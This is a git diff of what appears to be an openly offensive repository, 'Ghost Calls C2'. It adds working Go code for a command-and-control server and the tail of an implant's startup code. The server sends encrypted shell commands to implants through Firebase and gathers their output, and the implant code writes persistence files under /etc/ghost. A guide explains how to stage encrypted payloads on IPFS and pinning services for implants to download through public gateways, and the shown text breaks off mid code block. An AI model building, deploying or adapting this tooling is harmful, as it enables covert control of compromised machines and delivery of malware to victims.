||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
if implantID == "" {
|
||||||
|
log.Fatal("--id is required (unique implant identifier)")
|
||||||
|
}
|
||||||
|
|
||||||
|
if secret == "" {
|
||||||
|
log.Fatal("--secret is required (encryption secret, must match server)")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build Firebase URL
|
||||||
|
if firebaseURL == "" {
|
||||||
|
if projectID == "" {
|
||||||
|
log.Fatal("either --project or --db-url is required")
|
||||||
|
}
|
||||||
|
firebaseURL = fmt.Sprintf("https://%s-default-rtdb.firebaseio.com", projectID)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !verbose {
|
||||||
|
log.SetFlags(log.Ltime | log.Lmsgprefix)
|
||||||
|
log.SetPrefix(fmt.Sprintf("[%s] ", implantID))
|
||||||
|
} else {
|
||||||
|
log.SetFlags(log.Ldate | log.Ltime | log.Lmsgprefix)
|
||||||
|
log.SetPrefix(fmt.Sprintf("[%s] ", implantID))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Minimum jitter floor to avoid deterministic timing
|
||||||
|
if jitterMax < time.Second {
|
||||||
|
jitterMax = time.Second
|
||||||
|
}
|
||||||
|
|
||||||
|
// Persistence: if /etc/ghost/id exists, use that as implant ID
|
||||||
|
// (allows admin to pre-provision the implant)
|
||||||
|
if data, err := os.ReadFile("/etc/ghost/id"); err == nil && implantID == "" {
|
||||||
|
implantID = strings.TrimSpace(string(data))
|
||||||
|
log.Printf("[*] Using implant ID from /etc/ghost/id: %s", implantID)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write our own identity for next run
|
||||||
|
os.MkdirAll("/etc/ghost", 0755)
|
||||||
|
os.WriteFile("/etc/ghost/id", []byte(implantID), 0644)
|
||||||
|
|
||||||
|
// Also persist the secret
|
||||||
|
os.WriteFile("/etc/ghost/secret", []byte(secret), 0600)
|
||||||
|
|
||||||
|
implant := NewImplant(firebaseURL, implantID, secret, pollInterval, jitterMax)
|
||||||
|
|
||||||
|
// Handle graceful shutdown
|
||||||
|
stopCh := make(chan struct{})
|
||||||
|
sigCh := make(chan os.Signal, 1)
|
||||||
|
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
<-sigCh
|
||||||
|
log.Printf("[*] Received shutdown signal")
|
||||||
|
close(stopCh)
|
||||||
|
// Give the implant time to finish the current poll
|
||||||
|
time.Sleep(2 * time.Second)
|
||||||
|
os.Exit(0)
|
||||||
|
}()
|
||||||
|
|
||||||
|
implant.Run(stopCh)
|
||||||
|
}
|
||||||
@@ -0,0 +1,562 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"crypto/aes"
|
||||||
|
"crypto/cipher"
|
||||||
|
"crypto/rand"
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"os/signal"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Crypto ────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func deriveKey(implantID, secret string) []byte {
|
||||||
|
h := sha256.Sum256([]byte(implantID + ":" + secret))
|
||||||
|
return h[:]
|
||||||
|
}
|
||||||
|
|
||||||
|
func encrypt(plaintext []byte, key []byte) (string, error) {
|
||||||
|
block, err := aes.NewCipher(key)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
gcm, err := cipher.NewGCM(block)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
nonce := make([]byte, gcm.NonceSize())
|
||||||
|
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
|
||||||
|
return base64.StdEncoding.EncodeToString(ciphertext), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func decrypt(cipherB64 string, key []byte) ([]byte, error) {
|
||||||
|
ciphertext, err := base64.StdEncoding.DecodeString(cipherB64)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
block, err := aes.NewCipher(key)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
gcm, err := cipher.NewGCM(block)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
ns := gcm.NonceSize()
|
||||||
|
if len(ciphertext) < ns {
|
||||||
|
return nil, fmt.Errorf("ciphertext too short")
|
||||||
|
}
|
||||||
|
nonce, data := ciphertext[:ns], ciphertext[ns:]
|
||||||
|
plaintext, err := gcm.Open(nil, nonce, data, nil)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return plaintext, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Data Types ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
type Implant struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
FCMToken string `json:"fcm_token,omitempty"`
|
||||||
|
LastSeen time.Time `json:"last_seen"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type Result struct {
|
||||||
|
CommandID string `json:"command_id"`
|
||||||
|
Output string `json:"output"` // encrypted base64
|
||||||
|
TS int64 `json:"ts"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type CommandPayload struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Cmd string `json:"cmd"` // encrypted base64
|
||||||
|
TS int64 `json:"ts"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Server ────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
type Server struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
implants map[string]*Implant
|
||||||
|
results map[string][]Result
|
||||||
|
cmdCount map[string]int
|
||||||
|
firebaseURL string
|
||||||
|
secret string
|
||||||
|
httpPort int
|
||||||
|
httpClient *http.Client
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewServer(firebaseURL, secret string, port int) *Server {
|
||||||
|
return &Server{
|
||||||
|
implants: make(map[string]*Implant),
|
||||||
|
results: make(map[string][]Result),
|
||||||
|
cmdCount: make(map[string]int),
|
||||||
|
firebaseURL: strings.TrimRight(firebaseURL, "/"),
|
||||||
|
secret: secret,
|
||||||
|
httpPort: port,
|
||||||
|
httpClient: &http.Client{
|
||||||
|
Timeout: 30 * time.Second,
|
||||||
|
Transport: &http.Transport{
|
||||||
|
IdleConnTimeout: 90 * time.Second,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) firebasePut(path string, body []byte) error {
|
||||||
|
url := fmt.Sprintf("%s/%s.json", s.firebaseURL, path)
|
||||||
|
req, err := http.NewRequest("PUT", url, strings.NewReader(string(body)))
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
resp, err := s.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode >= 300 {
|
||||||
|
b, _ := io.ReadAll(resp.Body)
|
||||||
|
return fmt.Errorf("firebase PUT %s: %s: %s", path, resp.Status, strings.TrimSpace(string(b)))
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) firebaseDelete(path string) error {
|
||||||
|
url := fmt.Sprintf("%s/%s.json", s.firebaseURL, path)
|
||||||
|
req, err := http.NewRequest("DELETE", url, nil)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
resp, err := s.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode >= 300 {
|
||||||
|
b, _ := io.ReadAll(resp.Body)
|
||||||
|
return fmt.Errorf("firebase DELETE %s: %s: %s", path, resp.Status, strings.TrimSpace(string(b)))
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) firebaseGet(path string) ([]byte, error) {
|
||||||
|
url := fmt.Sprintf("%s/%s.json", s.firebaseURL, path)
|
||||||
|
req, err := http.NewRequest("GET", url, nil)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
resp, err := s.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
body, err := io.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if resp.StatusCode >= 300 {
|
||||||
|
return nil, fmt.Errorf("firebase GET %s: %s: %s", path, resp.Status, strings.TrimSpace(string(body)))
|
||||||
|
}
|
||||||
|
return body, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Commands ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) SendCommand(implantID, command string) (string, error) {
|
||||||
|
s.mu.Lock()
|
||||||
|
s.cmdCount[implantID]++
|
||||||
|
cmdNum := s.cmdCount[implantID]
|
||||||
|
s.mu.Unlock()
|
||||||
|
|
||||||
|
cmdID := fmt.Sprintf("%s-%d-%d", implantID, cmdNum, time.Now().UnixMilli())
|
||||||
|
|
||||||
|
key := deriveKey(implantID, s.secret)
|
||||||
|
enc, err := encrypt([]byte(command), key)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("encrypt: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
payload := CommandPayload{
|
||||||
|
ID: cmdID,
|
||||||
|
Cmd: enc,
|
||||||
|
TS: time.Now().UnixMilli(),
|
||||||
|
}
|
||||||
|
|
||||||
|
data, err := json.Marshal(payload)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("marshal: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
path := fmt.Sprintf("commands/%s", implantID)
|
||||||
|
if err := s.firebasePut(path, data); err != nil {
|
||||||
|
return "", fmt.Errorf("firebase write: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("[+] Command %s sent to %s: %s", cmdID, implantID, command)
|
||||||
|
return cmdID, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) BroadcastCommand(command string) []string {
|
||||||
|
s.mu.RLock()
|
||||||
|
ids := make([]string, 0, len(s.implants))
|
||||||
|
for id := range s.implants {
|
||||||
|
ids = append(ids, id)
|
||||||
|
}
|
||||||
|
s.mu.RUnlock()
|
||||||
|
|
||||||
|
var sent []string
|
||||||
|
for _, id := range ids {
|
||||||
|
cid, err := s.SendCommand(id, command)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[-] Broadcast to %s failed: %v", id, err)
|
||||||
|
} else {
|
||||||
|
sent = append(sent, cid)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sent
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) FetchResults(implantID string) ([]Result, error) {
|
||||||
|
data, err := s.firebaseGet(fmt.Sprintf("results/%s", implantID))
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// If no data or null, return empty slice
|
||||||
|
if len(data) == 0 || string(data) == "null" {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Results are stored as a map of commandID -> result
|
||||||
|
var rawResults map[string]json.RawMessage
|
||||||
|
if err := json.Unmarshal(data, &rawResults); err != nil {
|
||||||
|
return nil, fmt.Errorf("unmarshal results map: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var results []Result
|
||||||
|
for cmdID, raw := range rawResults {
|
||||||
|
var r Result
|
||||||
|
if err := json.Unmarshal(raw, &r); err != nil {
|
||||||
|
log.Printf("[-] Skipping unparsable result %s: %v", cmdID, err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
r.CommandID = cmdID
|
||||||
|
|
||||||
|
// Try to decrypt the output
|
||||||
|
key := deriveKey(implantID, s.secret)
|
||||||
|
dec, err := decrypt(r.Output, key)
|
||||||
|
if err != nil {
|
||||||
|
r.Output = fmt.Sprintf("[encrypted] %s", r.Output)
|
||||||
|
} else {
|
||||||
|
r.Output = string(dec)
|
||||||
|
}
|
||||||
|
|
||||||
|
results = append(results, r)
|
||||||
|
}
|
||||||
|
|
||||||
|
return results, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) PushRawFCM(implantID, jsonPayload string) error {
|
||||||
|
s.mu.RLock()
|
||||||
|
imp, ok := s.implants[implantID]
|
||||||
|
s.mu.RUnlock()
|
||||||
|
if !ok || imp.FCMToken == "" {
|
||||||
|
return fmt.Errorf("implant %s not registered or has no FCM token", implantID)
|
||||||
|
}
|
||||||
|
|
||||||
|
// This would use the FCM HTTP v1 API — placeholder for FCM integration
|
||||||
|
log.Printf("[!] Raw FCM push to %s (token: %s...): %s",
|
||||||
|
implantID, imp.FCMToken[:min(len(imp.FCMToken), 16)], jsonPayload)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── HTTP API / Status ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) httpStatusHandler(w http.ResponseWriter, r *http.Request) {
|
||||||
|
s.mu.RLock()
|
||||||
|
defer s.mu.RUnlock()
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||||
|
fmt.Fprintf(w, "Ghost Calls C2 — Push Notification C2 Server\n")
|
||||||
|
fmt.Fprintf(w, "==============================================\n\n")
|
||||||
|
fmt.Fprintf(w, "Registered implants: %d\n\n", len(s.implants))
|
||||||
|
for _, imp := range s.implants {
|
||||||
|
fcm := "none"
|
||||||
|
if imp.FCMToken != "" {
|
||||||
|
fcm = imp.FCMToken[:min(len(imp.FCMToken), 20)] + "..."
|
||||||
|
}
|
||||||
|
fmt.Fprintf(w, " %-24s last: %s fcm: %s\n", imp.ID, imp.LastSeen.Format(time.RFC3339), fcm)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── REPL ──────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) RunREPL() {
|
||||||
|
scanner := bufio.NewScanner(os.Stdin)
|
||||||
|
fmt.Println()
|
||||||
|
fmt.Println("╔══════════════════════════════════════════════╗")
|
||||||
|
fmt.Println("║ Ghost Calls C2 — Operator Console ║")
|
||||||
|
fmt.Println("╚══════════════════════════════════════════════╝")
|
||||||
|
fmt.Println()
|
||||||
|
fmt.Println("Commands:")
|
||||||
|
fmt.Println(" register <id> [fcm_token] — Register an implant")
|
||||||
|
fmt.Println(" exec <id> <command> — Send command to implant")
|
||||||
|
fmt.Println(" broadcast <command> — Send to all implants")
|
||||||
|
fmt.Println(" list — Show registered implants")
|
||||||
|
fmt.Println(" results <id> — Show results from implant")
|
||||||
|
fmt.Println(" forget <id> — Remove implant registration")
|
||||||
|
fmt.Println(" push <id> <json> — Send raw FCM push payload")
|
||||||
|
fmt.Println(" status — Show server overview")
|
||||||
|
fmt.Println(" help — Show this help")
|
||||||
|
fmt.Println(" exit — Shut down")
|
||||||
|
fmt.Println()
|
||||||
|
|
||||||
|
for {
|
||||||
|
fmt.Print("ghost> ")
|
||||||
|
if !scanner.Scan() {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
line := strings.TrimSpace(scanner.Text())
|
||||||
|
if line == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
parts := strings.Fields(line)
|
||||||
|
cmd := parts[0]
|
||||||
|
|
||||||
|
switch cmd {
|
||||||
|
case "exit", "quit":
|
||||||
|
fmt.Println("Shutting down.")
|
||||||
|
return
|
||||||
|
|
||||||
|
case "help":
|
||||||
|
fmt.Println("Commands:")
|
||||||
|
fmt.Println(" register <id> [fcm_token] — Register an implant")
|
||||||
|
fmt.Println(" exec <id> <command...> — Send command to implant")
|
||||||
|
fmt.Println(" broadcast <command...> — Send to all implants")
|
||||||
|
fmt.Println(" list — Show registered implants")
|
||||||
|
fmt.Println(" results <id> — Show results from implant")
|
||||||
|
fmt.Println(" forget <id> — Remove implant registration")
|
||||||
|
fmt.Println(" push <id> <json> — Send raw FCM push payload")
|
||||||
|
fmt.Println(" status — Show server overview")
|
||||||
|
fmt.Println(" help — Show this help")
|
||||||
|
fmt.Println(" exit — Shut down")
|
||||||
|
|
||||||
|
case "register":
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("Usage: register <id> [fcm_token]")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
id := parts[1]
|
||||||
|
token := ""
|
||||||
|
if len(parts) >= 3 {
|
||||||
|
token = parts[2]
|
||||||
|
}
|
||||||
|
|
||||||
|
s.mu.Lock()
|
||||||
|
if existing, ok := s.implants[id]; ok {
|
||||||
|
existing.LastSeen = time.Now()
|
||||||
|
if token != "" {
|
||||||
|
existing.FCMToken = token
|
||||||
|
}
|
||||||
|
fmt.Printf("[*] Updated implant %s\n", id)
|
||||||
|
} else {
|
||||||
|
s.implants[id] = &Implant{
|
||||||
|
ID: id,
|
||||||
|
FCMToken: token,
|
||||||
|
LastSeen: time.Now(),
|
||||||
|
}
|
||||||
|
fmt.Printf("[+] Registered implant %s\n", id)
|
||||||
|
}
|
||||||
|
s.mu.Unlock()
|
||||||
|
|
||||||
|
case "forget":
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("Usage: forget <id>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
id := parts[1]
|
||||||
|
s.mu.Lock()
|
||||||
|
if _, ok := s.implants[id]; ok {
|
||||||
|
delete(s.implants, id)
|
||||||
|
fmt.Printf("[-] Removed implant %s\n", id)
|
||||||
|
} else {
|
||||||
|
fmt.Printf("[-] Implant %s not found\n", id)
|
||||||
|
}
|
||||||
|
s.mu.Unlock()
|
||||||
|
|
||||||
|
case "list":
|
||||||
|
s.mu.RLock()
|
||||||
|
if len(s.implants) == 0 {
|
||||||
|
fmt.Println("No registered implants.")
|
||||||
|
} else {
|
||||||
|
fmt.Printf("%-24s %-40s %s\n", "ID", "FCM Token", "Last Seen")
|
||||||
|
fmt.Println(strings.Repeat("─", 90))
|
||||||
|
for _, imp := range s.implants {
|
||||||
|
fcm := "-"
|
||||||
|
if imp.FCMToken != "" {
|
||||||
|
fcm = imp.FCMToken[:min(len(imp.FCMToken), 36)] + "..."
|
||||||
|
}
|
||||||
|
fmt.Printf("%-24s %-40s %s\n", imp.ID, fcm, imp.LastSeen.Format(time.RFC3339))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
s.mu.RUnlock()
|
||||||
|
|
||||||
|
case "exec":
|
||||||
|
if len(parts) < 3 {
|
||||||
|
fmt.Println("Usage: exec <id> <command...>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
id := parts[1]
|
||||||
|
command := strings.Join(parts[2:], " ")
|
||||||
|
|
||||||
|
s.mu.RLock()
|
||||||
|
_, ok := s.implants[id]
|
||||||
|
s.mu.RUnlock()
|
||||||
|
if !ok {
|
||||||
|
fmt.Printf("[-] Implant %s not registered. Register it first.\n", id)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
cmdID, err := s.SendCommand(id, command)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("[-] Error: %v\n", err)
|
||||||
|
} else {
|
||||||
|
fmt.Printf("[+] Command queued: %s\n", cmdID)
|
||||||
|
}
|
||||||
|
|
||||||
|
case "broadcast":
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("Usage: broadcast <command...>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
command := strings.Join(parts[1:], " ")
|
||||||
|
sent := s.BroadcastCommand(command)
|
||||||
|
fmt.Printf("[+] Broadcast sent to %d implant(s)\n", len(sent))
|
||||||
|
|
||||||
|
case "results":
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("Usage: results <id>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
id := parts[1]
|
||||||
|
results, err := s.FetchResults(id)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("[-] Error fetching results: %v\n", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if len(results) == 0 {
|
||||||
|
fmt.Printf("[*] No results for %s\n", id)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
fmt.Printf("Results for %s:\n", id)
|
||||||
|
for _, r := range results {
|
||||||
|
fmt.Printf(" Command: %s\n", r.CommandID)
|
||||||
|
fmt.Printf(" Time: %s\n", time.UnixMilli(r.TS).Format(time.RFC3339))
|
||||||
|
fmt.Printf(" Output:\n")
|
||||||
|
for _, line := range strings.Split(strings.TrimRight(r.Output, "\n"), "\n") {
|
||||||
|
fmt.Printf(" %s\n", line)
|
||||||
|
}
|
||||||
|
fmt.Println()
|
||||||
|
}
|
||||||
|
|
||||||
|
case "push":
|
||||||
|
if len(parts) < 3 {
|
||||||
|
fmt.Println("Usage: push <id> <json_payload>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
id := parts[1]
|
||||||
|
payload := strings.Join(parts[2:], " ")
|
||||||
|
if err := s.PushRawFCM(id, payload); err != nil {
|
||||||
|
fmt.Printf("[-] Error: %v\n", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
case "status":
|
||||||
|
s.mu.RLock()
|
||||||
|
fmt.Printf("Firebase Project: %s\n", s.firebaseURL)
|
||||||
|
fmt.Printf("HTTP Port: %d\n", s.httpPort)
|
||||||
|
fmt.Printf("Implants: %d\n", len(s.implants))
|
||||||
|
for _, imp := range s.implants {
|
||||||
|
fcm := "no"
|
||||||
|
if imp.FCMToken != "" {
|
||||||
|
fcm = "yes"
|
||||||
|
}
|
||||||
|
fmt.Printf(" %s (FCM: %s, seen: %s)\n", imp.ID, fcm, imp.LastSeen.Format(time.RFC3339))
|
||||||
|
}
|
||||||
|
s.mu.RUnlock()
|
||||||
|
|
||||||
|
default:
|
||||||
|
fmt.Printf("Unknown command: %s\nType 'help' for available commands.\n", cmd)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Main ──────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
firebaseURL := os.Getenv("FIREBASE_URL")
|
||||||
|
secret := os.Getenv("GHOST_SECRET")
|
||||||
|
portStr := os.Getenv("GHOST_PORT")
|
||||||
|
|
||||||
|
if firebaseURL == "" {
|
||||||
|
log.Fatal("FIREBASE_URL environment variable required (e.g., https://my-project-default-rtdb.firebaseio.com)")
|
||||||
|
}
|
||||||
|
if secret == "" {
|
||||||
|
log.Fatal("GHOST_SECRET environment variable required (server-side encryption key)")
|
||||||
|
}
|
||||||
|
|
||||||
|
port := 9090
|
||||||
|
if portStr != "" {
|
||||||
|
if n, err := fmt.Sscanf(portStr, "%d", &port); err != nil || n != 1 {
|
||||||
|
log.Printf("Warning: invalid GHOST_PORT '%s', using 9090", portStr)
|
||||||
|
port = 9090
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
srv := NewServer(firebaseURL, secret, port)
|
||||||
|
|
||||||
|
// HTTP status endpoint
|
||||||
|
http.HandleFunc("/", srv.httpStatusHandler)
|
||||||
|
httpServer := &http.Server{
|
||||||
|
Addr: fmt.Sprintf(":%d", port),
|
||||||
|
Handler: nil,
|
||||||
|
}
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
log.Printf("[*] HTTP status page listening on :%d", port)
|
||||||
|
if err := httpServer.ListenAndServe(); err != nil && err != http.ErrServerClosed {
|
||||||
|
log.Fatalf("HTTP server error: %v", err)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// Handle shutdown
|
||||||
|
sigCh := make(chan os.Signal, 1)
|
||||||
|
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
<-sigCh
|
||||||
|
fmt.Println("\n[*] Shutting down...")
|
||||||
|
httpServer.Close()
|
||||||
|
os.Exit(0)
|
||||||
|
}()
|
||||||
|
|
||||||
|
srv.RunREPL()
|
||||||
|
}
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
go 1.26
|
||||||
|
module github.com/churchofmalware/c2-ghost-push
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,161 @@
|
|||||||
|
# IPFS Upload Guide
|
||||||
|
|
||||||
|
How to get payloads onto IPFS for use with the C2 IPFS payload delivery system.
|
||||||
|
|
||||||
|
## Option 1: Local IPFS Node (Recommended)
|
||||||
|
|
||||||
|
### Install IPFS (Kubo)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Download Kubo v0.29.0
|
||||||
|
wget https://dist.ipfs.tech/kubo/v0.29.0/kubo_v0.29.0_linux-amd64.tar.gz
|
||||||
|
|
||||||
|
# Extract
|
||||||
|
tar -xzf kubo_v0.29.0_linux-amd64.tar.gz
|
||||||
|
|
||||||
|
# Install
|
||||||
|
cd kubo
|
||||||
|
sudo bash install.sh
|
||||||
|
|
||||||
|
# Initialize
|
||||||
|
ipfs init
|
||||||
|
|
||||||
|
# Start the daemon
|
||||||
|
ipfs daemon &
|
||||||
|
|
||||||
|
# Wait for it to be ready
|
||||||
|
ipfs id
|
||||||
|
```
|
||||||
|
|
||||||
|
### Upload a File
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Add a file to IPFS
|
||||||
|
ipfs add payload.enc
|
||||||
|
|
||||||
|
# Output: added QmX... payload.enc
|
||||||
|
# The hash is your CID: QmX...
|
||||||
|
```
|
||||||
|
|
||||||
|
### Start the Daemon on Boot
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Systemd service
|
||||||
|
sudo tee /etc/systemd/system/ipfs.service << 'EOF'
|
||||||
|
[Unit]
|
||||||
|
Description=IPFS Daemon
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
ExecStart=/usr/local/bin/ipfs daemon
|
||||||
|
Restart=on-failure
|
||||||
|
User=root
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
EOF
|
||||||
|
|
||||||
|
sudo systemctl enable ipfs
|
||||||
|
sudo systemctl start ipfs
|
||||||
|
```
|
||||||
|
|
||||||
|
### IPFS API
|
||||||
|
|
||||||
|
Once the daemon is running, the API is available at `http://127.0.0.1:5001/api/v0`.
|
||||||
|
The server uses this by default.
|
||||||
|
|
||||||
|
## Option 2: Pinata.cloud (Free Tier)
|
||||||
|
|
||||||
|
Pinata offers a free tier with 1GB of storage — no local node needed.
|
||||||
|
|
||||||
|
### Setup
|
||||||
|
|
||||||
|
1. Create an account at https://pinata.cloud
|
||||||
|
2. Go to API Keys and generate a JWT
|
||||||
|
3. Use it with the server/upload tool
|
||||||
|
|
||||||
|
### Upload via API
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -X POST \
|
||||||
|
-H "Authorization: Bearer <your-jwt>" \
|
||||||
|
-F "file=@payload.enc" \
|
||||||
|
https://api.pinata.cloud/pinning/pinFileToIPFS
|
||||||
|
```
|
||||||
|
|
||||||
|
Response: `{"IpfsHash":"Qm...","PinSize":1234,"Timestamp":"..."}`
|
||||||
|
|
||||||
|
### Upload via the C2 Tools
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Using the upload helper
|
||||||
|
./upload -key <key> -file payload.bin -pinata-jwt <jwt>
|
||||||
|
|
||||||
|
# Or with server
|
||||||
|
./server -pinata-jwt <jwt> -mode http
|
||||||
|
# Then in console: deploy payload.bin
|
||||||
|
```
|
||||||
|
|
||||||
|
## Option 3: web3.storage (Free)
|
||||||
|
|
||||||
|
https://web3.storage offers 5GB free with API key auth.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -X POST \
|
||||||
|
-H "Authorization: Bearer <api-token>" \
|
||||||
|
-H "Content-Type: application/octet-stream" \
|
||||||
|
--data-binary @payload.enc \
|
||||||
|
https://api.web3.storage/upload
|
||||||
|
```
|
||||||
|
|
||||||
|
## Option 4: Infura IPFS API
|
||||||
|
|
||||||
|
Infura provides free IPFS API access (rate limited).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Upload
|
||||||
|
curl -X POST \
|
||||||
|
-F "file=@payload.enc" \
|
||||||
|
"https://ipfs.infura.io:5001/api/v0/add"
|
||||||
|
|
||||||
|
# Requires project ID/secret for authenticated gateways
|
||||||
|
```
|
||||||
|
|
||||||
|
## Gateway URLs for Download
|
||||||
|
|
||||||
|
The implant supports multiple gateway fallback. Configure via `--gateways`.
|
||||||
|
|
||||||
|
Default gateways used by the implant:
|
||||||
|
|
||||||
|
| Gateway | URL Template |
|
||||||
|
|---------|-------------|
|
||||||
|
| ipfs.io | `https://ipfs.io/ipfs/%s` |
|
||||||
|
| Cloudflare | `https://cloudflare-ipfs.com/ipfs/%s` |
|
||||||
|
| Filebase | `https://ipfs.filebase.io/ipfs/%s` |
|
||||||
|
| dweb.link | `https://dweb.link/ipfs/%s` |
|
||||||
|
| cf-ipfs.com | `https://cf-ipfs.com/ipfs/%s` |
|
||||||
|
|
||||||
|
Custom gateways:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
